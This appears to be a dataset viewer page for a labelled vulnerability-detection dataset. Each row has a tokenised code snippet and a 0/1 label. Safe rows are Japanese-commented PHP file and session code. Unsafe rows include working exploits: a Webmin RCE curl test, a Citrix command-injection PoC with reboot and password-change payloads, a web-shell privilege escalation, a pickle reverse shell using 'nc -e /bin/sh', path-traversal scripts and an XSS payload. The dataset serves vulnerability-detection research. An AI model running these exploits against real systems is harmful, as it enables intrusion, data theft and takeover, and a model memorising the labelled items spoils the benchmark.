Dataset Viewer
instruction
stringclasses 1
value | input
stringlengths 215
34.9k
| output
stringclasses 2
values |
|---|---|---|
please judge the source code for vulnerabilities. | public function proc<underscore>readfile()<NEWLINE>{<NEWLINE><slash><slash> 中略<NEWLINE> <slash><slash> リクエストパラメタを取得<NEWLINE> $param = $this<hyphen>>get<underscore>param();<NEWLINE> <slash><slash> リクエストパラメタからファイル名を取得<NEWLINE> $filename = (string)$param[parent::FILENAME];<NEWLINE> <slash><slash> ファイル名がセットされている場合<NEWLINE> if ((isset($filename)) && ($filename != <double<underscore>quote><double<underscore>quote>)) {<NEWLINE> <slash><slash> 商品登録ファイルへのパスを作成<NEWLINE> $filePath = parent::GOODS<underscore>FILE<underscore>PATH. basename($filename);<NEWLINE><slash><slash> 後略 | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> define(<single<underscore>quote>FILE<underscore>PATH<single<underscore>quote>, <single<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><single<underscore>quote>);<NEWLINE> $pathAndOldname= FILE<underscore>PATH . basename($<underscore>GET[<double<underscore>quote>oldname<double<underscore>quote>]);<NEWLINE> $pathAndNewname= FILE<underscore>PATH . basename($<underscore>GET[<double<underscore>quote>newname<double<underscore>quote>]);<NEWLINE> $result=rename($pathAndOldname,$pathAndNewname);<NEWLINE> echo $result;<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> define(<single<underscore>quote>FILE<underscore>PATH<single<underscore>quote>, <single<underscore>quote><slash>var<slash>www<slash>dt<slash>tmpl<slash><single<underscore>quote>);<NEWLINE> $pathAndOldname= FILE<underscore>PATH . basename($<underscore>GET[<double<underscore>quote>oldname<double<underscore>quote>]);<NEWLINE> $newname=$<underscore>GET[<double<underscore>quote>newname<double<underscore>quote>];<NEWLINE> $result=exec(<double<underscore>quote>rename <double<underscore>quote> . escapeshellarg($pathAndOldname). <double<underscore>quote> <double<underscore>quote> .<NEWLINE> escapeshellarg($newname, $output));<NEWLINE> echo $output;<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | public function proc<underscore>rename<underscore>file()<NEWLINE>{<NEWLINE><slash><slash> 中略<NEWLINE> <slash><slash> 変更前と変更後のファイル名が異なる場合<NEWLINE> } else {<NEWLINE> <slash><slash> 変更前ファイル名をパス付きで指定<NEWLINE> $oldname = parent::GOODS<underscore>FILE<underscore>PATH. basename($oldname);<NEWLINE> <slash><slash> 変更前ファイルが存在する場合<NEWLINE> if (is<underscore>file($oldname)) {<NEWLINE> <slash><slash> ファイル名を変更するコマンド実行<NEWLINE> $newname = parent::GOODS<underscore>FILE<underscore>PATH. $newname;<NEWLINE> $result = rename($oldname, $newname);<NEWLINE><slash><slash> 後略 | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> <slash><slash>一度セッションIDを作成していると、そのセッションIDで開始される <NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>ログイン処理後<NEWLINE> <slash><slash>安全な値でセッションIDを再発行<NEWLINE> session<underscore>regenerate<underscore>id();<NEWLINE> $<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>]=$<underscore>POST[<double<underscore>quote>id<double<underscore>quote>];<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> <slash><slash>前略<NEWLINE> session<underscore>destroy();<NEWLINE> session<underscore>start();<NEWLINE> session<underscore>regenerate<underscore>id();<NEWLINE> <slash><slash>後略<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>ログイン処理後<NEWLINE> <slash><slash>セッションIDの変更を行う<NEWLINE> session<underscore>regenerate<underscore>id(true);<NEWLINE> $<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>]=$<underscore>POST[<double<underscore>quote>id<double<underscore>quote>];<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> public function login()<NEWLINE> {<NEWLINE> $db = $this<hyphen>>get<underscore>db();<NEWLINE> $param = $this<hyphen>>get<underscore>param();<NEWLINE> $session = $this<hyphen>>get<underscore>session();<NEWLINE> $stmt = $db<hyphen>>prepare(parent::LOGIN<underscore>SQL);<NEWLINE> $stmt<hyphen>>execute(array(parent::ID => $param[parent::ID],<NEWLINE> parent::PASSWORD => $param[parent::PASSWORD]));<NEWLINE> $user = $stmt<hyphen>>fetch();<NEWLINE> if ($user) {<NEWLINE> <slash><slash> ログイン成功後にセッションIDをリフレッシュする<NEWLINE> session<underscore>regenerate<underscore>id();<NEWLINE> $this<hyphen>>set<underscore>session(ScenarioEnvironment::ENV<underscore>ID<underscore>NAME, <double<underscore>quote>Web<double<underscore>quote>);<NEWLINE> $this<hyphen>>set<underscore>session($this<hyphen>>get<underscore>login(), $user);<NEWLINE> $this<hyphen>>set<underscore>name();<NEWLINE> return true;<NEWLINE> } else {<NEWLINE> $this<hyphen>>proc<underscore>logout();<NEWLINE> $this<hyphen>>set<underscore>content(parent::WARNING3, true);<NEWLINE> $this<hyphen>>set<underscore>content(parent::WARNING4, false);<NEWLINE> return false;<NEWLINE> }<NEWLINE> }<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | <?php<NEWLINE> session<underscore>start();<NEWLINE> <slash><slash>ログイン処理後<NEWLINE> session<underscore>regenerate<underscore>id(true);<NEWLINE> <slash><slash>セッションを持たせてログインしていることが分かるようにする<NEWLINE> $<underscore>SESSION[<double<underscore>quote>id<double<underscore>quote>]=$<underscore>POST[<double<underscore>quote>id<double<underscore>quote>];<NEWLINE>?> | 0 |
please judge the source code for vulnerabilities. | FLAG=<double<underscore>quote>f3a0c13c3765137bcde68572707ae5c0<double<underscore>quote><NEWLINE>URI=$1;<NEWLINE>echo <hyphen>n <double<underscore>quote>Testing for RCE (CVE<hyphen>2019<hyphen>15107) on $URI: <double<underscore>quote>;<NEWLINE>curl <hyphen>ks $URI<single<underscore>quote><slash>password<underscore>change.cgi<single<underscore>quote> <hyphen>d <single<underscore>quote>user=wheel&pam=&expired=2&old=id|echo <single<underscore>quote>$FLAG<single<underscore>quote>&new1=wheel&new2=wheel<single<underscore>quote> <hyphen>H <single<underscore>quote>Cookie: redirect=1; testing=1; sid=x; sessiontest=1;<single<underscore>quote> <hyphen>H <double<underscore>quote>Content<hyphen>Type: application<slash>x<hyphen>www<hyphen>form<hyphen>urlencoded<double<underscore>quote> <hyphen>H <single<underscore>quote>Referer: <single<underscore>quote>$URI<single<underscore>quote><slash>session<underscore>login.cgi<single<underscore>quote>|grep $FLAG><slash>dev<slash>null 2>&1<NEWLINE>if [ $? <hyphen>eq 0 ];<NEWLINE>then<NEWLINE>echo <single<underscore>quote><backslash>033[0;31mVULNERABLE!<backslash>033[0m<single<underscore>quote><NEWLINE>else<NEWLINE>echo <single<underscore>quote><backslash>033[0;32mOK! (target is not vulnerable)<backslash>033[0m<single<underscore>quote><NEWLINE>fi | 1 |
please judge the source code for vulnerabilities. | While logged in as admin user:<NEWLINE>1) add a shell user<NEWLINE>2) under option set gid to ispconfig<NEWLINE>3) log in as that user<NEWLINE>4) edit <slash>usr<slash>local<slash>ispconfig<slash>interface<slash>lib<slash>lang<slash>en.lng with system($<underscore>GET[<single<underscore>quote>cmd<single<underscore>quote>]);<NEWLINE>5) browse to: http:<slash><slash>server:8080<slash>index.php?cmd=echo <slash>tmp<slash>script >><slash>usr<slash>local<slash>ispconfig<slash>server<slash>server.sh<NEWLINE>6) create <slash>tmp<slash>script and put a command you wish to be executed as root. | 1 |
please judge the source code for vulnerabilities. | Abstract<NEWLINE>Securify discovered a command injection vulnerability in xen<underscore>hotfix page of the NITRO SDK. The attacker<hyphen>supplied command is executed with elevated privileges (nsroot). This issue can be used to compromise of the entire Citrix SDX appliance and all underling application<single<underscore>quote>s and data.<NEWLINE>Tested version<NEWLINE>This issue was discovered in Citrix NetScaler SDX svm<hyphen>10.5<hyphen>50<hyphen>1.9, other versions may also be affected.<NEWLINE>Fix<NEWLINE>Citrix reports that this vulnerability is fixed in NetScaler 10.5 build 52.3nc.<NEWLINE>Introduction<NEWLINE>The Citrix NetScaler SDX platform delivers fully isolated NetScaler instances running on a single appliance. Each instance is a full<hyphen>blown NetScaler environment, which optimizes delivery of applications over the Internet and private networks. The NITRO SDK allows you to configure and monitor the NetScaler appliance programmatically. NITRO exposes its functionality through REST interfaces. A Cross<hyphen>Site Scripting vulnerability was found in one of the REST services exposed by the NITRO SDK.<NEWLINE>Administrators can upload XenServer hotfixes to the Citrix SDX appliance. The REST interface responsible for handling these hotfixes is vulnerable to command injection.<NEWLINE>Details<NEWLINE>This vulberability exists because the file<underscore>name parameter submitted to the <slash>nitro<slash>v1<slash>config<slash>xen<underscore>hotfix page used in a shell command without proper input validation<slash>sanitation, introducing a command execution vulnerability. The shell command is executed with elevated privileges (nsroot), which allows attackers to run arbitrary commands with these privileges. This issue can be used to compromise of the entire Citrix SDX appliance and all underling application<single<underscore>quote>s and data.<NEWLINE>The following proof of concept can be used to exploit this issue;<NEWLINE><html><NEWLINE><body><NEWLINE><form action=<double<underscore>quote>https:<slash><slash>SDXHOSTIP<slash>nitro<slash>v1<slash>config<slash>xen<underscore>hotfix<double<underscore>quote> method=<double<underscore>quote>POST<double<underscore>quote>><NEWLINE><input type=<double<underscore>quote>hidden<double<underscore>quote> name=<double<underscore>quote>object<double<underscore>quote> value=<double<underscore>quote>&<NEWLINE><input type=<double<underscore>quote>submit<double<underscore>quote> value=<double<underscore>quote>Submit request<double<underscore>quote> <slash>><NEWLINE><<slash>form><NEWLINE><script>document.forms[0].submit();<<slash>script><NEWLINE><<slash>body><NEWLINE><<slash>html><NEWLINE>POST <slash>nitro<slash>v1<slash>config<slash>xen<underscore>hotfix HTTP<slash>1.1<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>object={<double<underscore>quote>params<double<underscore>quote>%3a{<double<underscore>quote>action<double<underscore>quote>%3a<double<underscore>quote>start<double<underscore>quote>}%2c<double<underscore>quote>xen<underscore>hotfix<double<underscore>quote>%3a[{<double<underscore>quote>file<underscore>name<double<underscore>quote>..<slash>..<slash>etc<slash>passwd;reboot;<double<underscore>quote>}]}<NEWLINE>or<NEWLINE>object={<double<underscore>quote>params<double<underscore>quote>%3a{<double<underscore>quote>action<double<underscore>quote>%3a<double<underscore>quote>start<double<underscore>quote>}%2c<double<underscore>quote>xen<underscore>hotfix<double<underscore>quote>%3a[{<double<underscore>quote>file<underscore>name<double<underscore>quote>%3a<double<underscore>quote>..<slash>..<slash>etc<slash>passwd;echo nsroot:han|chpasswd;<double<underscore>quote>}]}<NEWLINE>Due to insufficient Cross<hyphen>Site Request Forgery protection, it is possible to exploit this issue by tricking a logged in admin user into visiting a specially crafted web page. | 1 |
please judge the source code for vulnerabilities. | Users that can access the Settings > Database Management page can achieve code<NEWLINE>execution as root on older versions of PCoIP MC 2.x. (Based on CentOS 7 x64)<NEWLINE>Web Shell Upload Vulnerability Overview<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Database archives are extracted under <slash>opt<slash>jetty<slash>tmpdeploy. By creating a<NEWLINE>malicious archive with a malicious web script that extracts to the known<NEWLINE>directory <slash>opt<slash>jetty<slash>tmpdeploy<slash>jetty<hyphen>0.0.0.0<hyphen>8080<hyphen>console.war<hyphen><underscore>console<hyphen>any<hyphen><NEWLINE>it is possible to add or modify class files and XML files pertaining to the<NEWLINE>application.<NEWLINE>Privilege Escalation Vulnerability Overview<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The jetty user owns the file <slash>opt<slash>jetty<slash>jetty<underscore>self<underscore>restart.sh, and the same user<NEWLINE>has sudo rights to run that file without a password. By manipulating this file,<NEWLINE>arbitrary code can be run as root.<NEWLINE>Exploiting The Vulnerabilities<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>alice:~$ mkdir <hyphen>p runasroot<slash>jetty<hyphen>0.0.0.0<hyphen>8080<hyphen>console.war<hyphen><underscore>console<hyphen>any<hyphen><slash>webapp<slash>images<NEWLINE>alice:~$ cd runasroot<NEWLINE>alice:~<slash>runasroot$ msfvenom (snip) > evil<NEWLINE>alice:~<slash>runasroot$ chmod a+x evil<NEWLINE>alice:~<slash>runasroot$ nano modify<underscore>self<underscore>restart.sh<NEWLINE>echo <slash>tmp<slash>evil >> <slash>opt<slash>jetty<slash>jetty<underscore>self<underscore>restart.sh<NEWLINE>alice:~<slash>runasroot$ chmod a+x modify<underscore>self<underscore>restart.sh<NEWLINE>alice:~<slash>runasroot$ cd jetty<hyphen>0.0.0.0<hyphen>8080<hyphen>console.war<hyphen><underscore>console<hyphen>any<hyphen><slash>webapp<slash>images<NEWLINE>alice:~<slash>runasroot<slash>jetty<hyphen>0.0.0.0<hyphen>8080<hyphen>console.war<hyphen><underscore>console<hyphen>any<hyphen><slash>webapp<slash>images$ nano runasroot.gsp<NEWLINE><html><NEWLINE><head><NEWLINE><title>runasroot<<slash>title><NEWLINE><<slash>head><NEWLINE><body><NEWLINE><pre><NEWLINE><% out << <double<underscore>quote>cp <slash>opt<slash>jetty<slash>tmpdeploy<slash>evil <slash>tmp<slash><double<underscore>quote>.execute().text %><NEWLINE><% out << <double<underscore>quote><slash>opt<slash>jetty<slash>tmpdeploy<slash>modify<underscore>self<underscore>restart.sh<double<underscore>quote>.execute().text %><NEWLINE><% out << <double<underscore>quote>sudo <slash>opt<slash>jetty<slash>jetty<underscore>self<underscore>restart.sh<double<underscore>quote>.execute().text %><NEWLINE><<slash>pre><NEWLINE><<slash>body><NEWLINE><<slash>html><NEWLINE>alice:~<slash>runasroot<slash>jetty<hyphen>0.0.0.0<hyphen>8080<hyphen>console.war<hyphen><underscore>console<hyphen>any<hyphen><slash>webapp<slash>images$ cd ..<slash>..<slash>..<NEWLINE>alice:~<slash>runasroot$ tar <hyphen>zcf runasroot.tar.gz evil modify<underscore>self<underscore>restart.sh jetty<hyphen>0.0.0.0<hyphen>8080<hyphen>console.war<hyphen><underscore>console<hyphen>any<hyphen><NEWLINE>alice:~<slash>runasroot$ openssl enc <hyphen>e <hyphen>aes<hyphen>256<hyphen>cbc <hyphen>salt <hyphen>in runasroot.tar.gz <hyphen>out runasroot.archive <hyphen>pass pass:4400Dominion <hyphen>p<NEWLINE>Now, choose to upload runasroot.archive through the Database Management page. An<NEWLINE>error will be displayed that it wasn<single<underscore>quote>t a valid archive. Now, navigate to<NEWLINE>https:<slash><slash>IP<slash>console<slash>images<slash>runasroot.gsp | 1 |
please judge the source code for vulnerabilities. | [+]Vulnerability :<NEWLINE>you can Access All Atmail Webadmin Mail server Configuration and SQL Root Password<NEWLINE>[+]Poc :<NEWLINE>Go to webmail and config Directory and type dbconfig.ini for Access all SQL Configuration<NEWLINE>[+]Demo for Test Vuln :<NEWLINE>[+]Atmail 6.20.8<NEWLINE>http:<slash><slash>server<slash>config<slash>dbconfig.ini | 1 |
please judge the source code for vulnerabilities. | <?php<NEWLINE>$output = fopen(<double<underscore>quote>logs.txt<double<underscore>quote>, <double<underscore>quote>a+<double<underscore>quote>) or die(<double<underscore>quote>WTF? o.O<double<underscore>quote>);<NEWLINE>$leet = $<underscore>GET[<single<underscore>quote>leet<single<underscore>quote>].<double<underscore>quote><backslash>n<backslash>n<double<underscore>quote>;<NEWLINE>fwrite($output, $leet);<NEWLINE>fclose($output);<NEWLINE>?><NEWLINE> | 1 |
please judge the source code for vulnerabilities. | CentOS<hyphen>WebPanel.com (aka CWP) CentOS Web Panel through 0.9.8.789 is vulnerable to Stored<slash>Persistent XSS for the <double<underscore>quote>Name Server 1<double<underscore>quote> and <double<underscore>quote>Name Server 2<double<underscore>quote> fields via <double<underscore>quote>DNS Functions<double<underscore>quote> for <double<underscore>quote>Edit Nameservers IPs<double<underscore>quote> action. This is because the application does not properly sanitize the users input.<NEWLINE>1. Login into the CentOS Web Panel using admin credential.<NEWLINE>2. From Navigation Click on <double<underscore>quote>DNS Functions<double<underscore>quote> <hyphen>> then Click on <double<underscore>quote>Edit Nameservers IPs<double<underscore>quote><NEWLINE>3. In <double<underscore>quote>Name Server 1<double<underscore>quote> and <double<underscore>quote>Name Server 2<double<underscore>quote> field give simple payload as: <script>alert(1)<<slash>script> and Click Save Changes<NEWLINE>4. Now one can see that the XSS Payload executed and even accessing the home page Stored XSS for nameservers executes. | 1 |
please judge the source code for vulnerabilities. | import os<NEWLINE>import sys<NEWLINE>def shellCode(payload):<NEWLINE>with open(f<double<underscore>quote>{os.getenv(<single<underscore>quote>HOME<single<underscore>quote>)}<slash>.cache<slash>mintinstall<slash>reviews.cache<double<underscore>quote>,<double<underscore>quote>w<double<underscore>quote>) as wb:<NEWLINE>wb.write(payload)<NEWLINE>print(<double<underscore>quote>[+] Start mintinstall<double<underscore>quote>)<NEWLINE>if <underscore><underscore>name<underscore><underscore>==<double<underscore>quote><underscore><underscore>main<underscore><underscore><double<underscore>quote>:<NEWLINE>shellCode(f<double<underscore>quote><double<underscore>quote><double<underscore>quote>cos<backslash>nsystem<backslash>n(S<double<underscore>quote>nc <hyphen>e <slash>bin<slash>sh {sys.argv[1]} {sys.argv[2]}<double<underscore>quote><backslash>ntR.<double<underscore>quote><double<underscore>quote><double<underscore>quote>)<NEWLINE>else:<NEWLINE>print(<double<underscore>quote>[!] exploit.py [IP] [PORT]<double<underscore>quote>) | 1 |
please judge the source code for vulnerabilities. | require <single<underscore>quote>rest<hyphen>client<single<underscore>quote><NEWLINE>require <single<underscore>quote>json<single<underscore>quote><NEWLINE>puts <double<underscore>quote>Enter Target URI (With wp directory)<double<underscore>quote><NEWLINE>targeturi = gets.chomp<NEWLINE>puts <double<underscore>quote>Enter Post ID<double<underscore>quote><NEWLINE>postid = gets.chomp.to<underscore>i<NEWLINE>response = RestClient.post(<NEWLINE><double<underscore>quote><NEWLINE>{<NEWLINE><double<underscore>quote>id<double<underscore>quote> => <double<underscore>quote><NEWLINE><double<underscore>quote>title<double<underscore>quote> => <double<underscore>quote>You have been hacked<double<underscore>quote>,<NEWLINE><double<underscore>quote>content<double<underscore>quote> => <double<underscore>quote>Hacked please update your wordpress version<double<underscore>quote><NEWLINE>}.to<underscore>json,<NEWLINE>:content<underscore>type => :json,<NEWLINE>:accept => :json<NEWLINE>) {|response, request, result| response }<NEWLINE>if(response.code == 200)<NEWLINE>puts <double<underscore>quote>Done! <single<underscore>quote><NEWLINE>else<NEWLINE>puts <double<underscore>quote>This site is not Vulnerable<double<underscore>quote><NEWLINE>end | 1 |
please judge the source code for vulnerabilities. | import argparse<NEWLINE>import requests<NEWLINE>import sys<NEWLINE>import collections<NEWLINE>OKRED = <single<underscore>quote><backslash>033[91m<single<underscore>quote><NEWLINE>OKGREEN = <single<underscore>quote><backslash>033[92m<single<underscore>quote><NEWLINE>ENDC = <single<underscore>quote><backslash>033[0m<single<underscore>quote><NEWLINE>parser = argparse.ArgumentParser()<NEWLINE>parser.add<underscore>argument(<double<underscore>quote><hyphen><hyphen>rhost<double<underscore>quote>, help = <double<underscore>quote>Remote Host<double<underscore>quote>)<NEWLINE>parser.add<underscore>argument(<single<underscore>quote><hyphen><hyphen>file<single<underscore>quote>, help = <single<underscore>quote>File to check (e.g <slash>etc<slash>passwd, <slash>etc<slash>shadow)<single<underscore>quote>)<NEWLINE>args = parser.parse<underscore>args()<NEWLINE>if len(sys.argv)==1:<NEWLINE>parser.print<underscore>help(sys.stderr)<NEWLINE>sys.exit(1)<NEWLINE>rhost = args.rhost<NEWLINE>rfile = args.file<NEWLINE>exploit<underscore>url = <double<underscore>quote>http:<slash><slash><double<underscore>quote> + rhost + <double<underscore>quote><slash>API<slash>process<slash>checkPidStatus.php<double<underscore>quote><NEWLINE>headers = [<NEWLINE>(<single<underscore>quote>User<hyphen>Agent<single<underscore>quote>,<single<underscore>quote>Mozilla<slash>5.0 (X11; Linux i686; rv:52.0) Gecko<slash>20100101 Firefox<slash>52.0<single<underscore>quote>),<NEWLINE>(<single<underscore>quote>Accept<single<underscore>quote>, <single<underscore>quote>application<slash>json, text<slash>javascript, *<slash>*; q=0.01<single<underscore>quote>),<NEWLINE>(<single<underscore>quote>Accept<hyphen>Language<single<underscore>quote>, <single<underscore>quote>en<hyphen>US,en;q=0.5<single<underscore>quote>),<NEWLINE>(<single<underscore>quote>Accept<hyphen>Encoding<single<underscore>quote>, <single<underscore>quote>gzip, deflate<single<underscore>quote>),<NEWLINE>(<single<underscore>quote>Connection<single<underscore>quote>, <single<underscore>quote>close<single<underscore>quote>)<NEWLINE>]<NEWLINE>headers = collections.OrderedDict(headers)<NEWLINE>body = <double<underscore>quote>pid=<slash>..<slash><double<underscore>quote> + rfile<NEWLINE>print(OKGREEN + <double<underscore>quote>Author: <double<underscore>quote> + ENDC + <double<underscore>quote>paragonsec @ Critical Start (https:<slash><slash>www.criticalstart.com)<double<underscore>quote>)<NEWLINE>print(OKGREEN + <double<underscore>quote>CVE: <double<underscore>quote> + ENDC + <double<underscore>quote>2018<hyphen>10142<double<underscore>quote>)<NEWLINE>print(OKGREEN + <double<underscore>quote>Description: <double<underscore>quote> + ENDC + <double<underscore>quote>Information Disclosure in Expedition Migration Tool<double<underscore>quote>)<NEWLINE>print(OKGREEN + <double<underscore>quote>Vuln Versions: <double<underscore>quote> + ENDC + <double<underscore>quote>< 1.0.107<backslash>n<double<underscore>quote>)<NEWLINE>print(OKGREEN + <double<underscore>quote>[+]<double<underscore>quote> + ENDC + <double<underscore>quote>Running exploit...<double<underscore>quote>)<NEWLINE>s = requests.Session()<NEWLINE>req = requests.post(exploit<underscore>url, headers=headers, data=body)<NEWLINE>if <double<underscore>quote>false<double<underscore>quote> not in req.text:<NEWLINE>print(OKGREEN + <double<underscore>quote>[+]<double<underscore>quote> + ENDC + <double<underscore>quote>Exploit worked! <double<underscore>quote> + rfile + <double<underscore>quote> exists!<backslash>n<double<underscore>quote>)<NEWLINE>else:<NEWLINE>print(OKRED + <double<underscore>quote>[!]<double<underscore>quote> + ENDC + <double<underscore>quote>File <double<underscore>quote> + rfile + <double<underscore>quote> does not exist!<backslash>n<double<underscore>quote>) | 1 |
please judge the source code for vulnerabilities. | =======<NEWLINE>Summary<NEWLINE>=======<NEWLINE>Name: Symantec Messaging Gateway <hyphen> Arbitrary file download is possible with a crafted URL (authenticated)<NEWLINE>Release Date: 30 November 2012<NEWLINE>Reference: NGS00266<NEWLINE>Discoverer: Ben Williams <ben.williams@ngssecure.com><NEWLINE>Vendor: Symantec<NEWLINE>Vendor Reference:<NEWLINE>Systems Affected: Symantec Messaging Gateway 9.5.3<hyphen>3<NEWLINE>Risk: Medium<NEWLINE>Status: Published<NEWLINE>========<NEWLINE>TimeLine<NEWLINE>========<NEWLINE>Discovered: 17 April 2012<NEWLINE>Released: 17 April 2012<NEWLINE>Approved: 29 April 2012<NEWLINE>Reported: 30 April 2012<NEWLINE>Fixed: 27 August 2012<NEWLINE>Published: 30 November 2012<NEWLINE>===========<NEWLINE>Description<NEWLINE>===========<NEWLINE>I. VULNERABILITY<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Symantec Messaging Gateway 9.5.3<hyphen>3 <hyphen> Arbitrary file download is possible with a crafted URL (authenticated)<NEWLINE>II. BACKGROUND<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Symantec Messaging Gateway 9.5.3<hyphen>3 is the latest version, of their Email Security Appliance<NEWLINE>III. DESCRIPTION<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>The vulnerability would enable an attacker (who has authenticated to the web interface) to download arbitrary files from the appliance with the permissions of the Webserver user<NEWLINE>=================<NEWLINE>Technical Details<NEWLINE>=================<NEWLINE>IV. PROOF OF CONCEPT<NEWLINE><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><hyphen><NEWLINE>Various files containing sensitive information can be downloaded using a crafted URL for example:<NEWLINE>http:<slash><slash>192.168.1.59:41080<slash>brightmail<slash>export?type=logs&logFile=..<slash>..<slash>..<slash>etc<slash>passwd&logType=1&browserType=1<NEWLINE>Which produces a file containing:<NEWLINE>root:x:0:0:root:<slash>root:<slash>bin<slash>bash<NEWLINE>bin:x:1:1:bin:<slash>bin:<slash>sbin<slash>nologin<NEWLINE>daemon:x:2:2:daemon:<slash>sbin:<slash>sbin<slash>nologin<NEWLINE>adm:x:3:4:adm:<slash>var<slash>adm:<slash>sbin<slash>nologin<NEWLINE>lp:x:4:7:lp:<slash>var<slash>spool<slash>lpd:<slash>sbin<slash>nologin<NEWLINE>sync:x:5:0:sync:<slash>sbin:<slash>bin<slash>sync<NEWLINE>shutdown:x:6:0:shutdown:<slash>sbin:<slash>sbin<slash>shutdown<NEWLINE>halt:x:7:0:halt:<slash>sbin:<slash>sbin<slash>halt<NEWLINE>mail:x:8:12:mail:<slash>var<slash>spool<slash>mail:<slash>sbin<slash>nologin<NEWLINE>news:x:9:13:news:<slash>etc<slash>news:<NEWLINE>uucp:x:10:14:uucp:<slash>var<slash>spool<slash>uucp:<slash>sbin<slash>nologin<NEWLINE>operator:x:11:0:operator:<slash>root:<slash>sbin<slash>nologin<NEWLINE>games:x:12:100:games:<slash>usr<slash>games:<slash>sbin<slash>nologin<NEWLINE>gopher:x:13:30:gopher:<slash>var<slash>gopher:<slash>sbin<slash>nologin<NEWLINE>ftp:x:14:50:FTP User:<slash>var<slash>ftp:<slash>sbin<slash>nologin<NEWLINE>nobody:x:99:99:Nobody:<slash>:<slash>sbin<slash>nologin<NEWLINE>rpm:x:37:37::<slash>var<slash>lib<slash>rpm:<slash>bin<slash>bash<NEWLINE>ntp:x:38:38::<slash>etc<slash>ntp:<slash>sbin<slash>nologin<NEWLINE>vcsa:x:69:69:virtual console memory owner:<slash>dev:<slash>sbin<slash>nologin<NEWLINE>postfix:x:100:101::<slash>home<slash>postfix:<slash>bin<slash>bash<NEWLINE>mailwall:x:500:501::<slash>home<slash>mailwall:<slash>bin<slash>bash<NEWLINE>mysql:x:501:103::<slash>home<slash>mysql:<slash>bin<slash>bash<NEWLINE>bcc:x:502:99::<slash>home<slash>bcc:<slash>bin<slash>bash<NEWLINE>support:x:503:503::<slash>home<slash>support:<slash>bin<slash>bash<NEWLINE>admin:x:504:501::<slash>home<slash>admin:<slash>bin<slash>rbash<NEWLINE>sshd:x:74:74:Privilege<hyphen>separated SSH:<slash>var<slash>empty<slash>sshd:<slash>sbin<slash>nologin<NEWLINE>pcap:x:77:77::<slash>var<slash>arpwatch:<slash>sbin<slash>nologin<NEWLINE>named:x:25:25:Named:<slash>var<slash>named:<slash>sbin<slash>nologin<NEWLINE>Simliar issues can be seen in other places such as here:<NEWLINE>http:<slash><slash>192.168.1.59:41080<slash>brightmail<slash>admin<slash>restore<slash>download.do?no<hyphen>cache=false&displayTab=restore&restoreSource=APPLIANCE&localBackupFileSelection=..<slash>..<slash>etc<slash>passwd<NEWLINE>===============<NEWLINE>Fix Information<NEWLINE>===============<NEWLINE>An updated version of the software has been released to address the vulnerability:<NEWLINE>http:<slash><slash>www.symantec.com<slash>security<underscore>response<slash>securityupdates<slash>detail.jsp?fid=security<underscore>advisory&pvid=security<underscore>advisory&year=2012&suid=20120827<underscore>00<NEWLINE>NCC Group Research<NEWLINE>http:<slash><slash>www.nccgroup.com<slash>research<NEWLINE>For more information please visit <a href=<double<underscore>quote>http:<slash><slash>www.mimecast.com<double<underscore>quote>>http:<slash><slash>www.mimecast.com<br><NEWLINE>This email message has been delivered safely and archived online by Mimecast.<NEWLINE><<slash>a> | 1 |
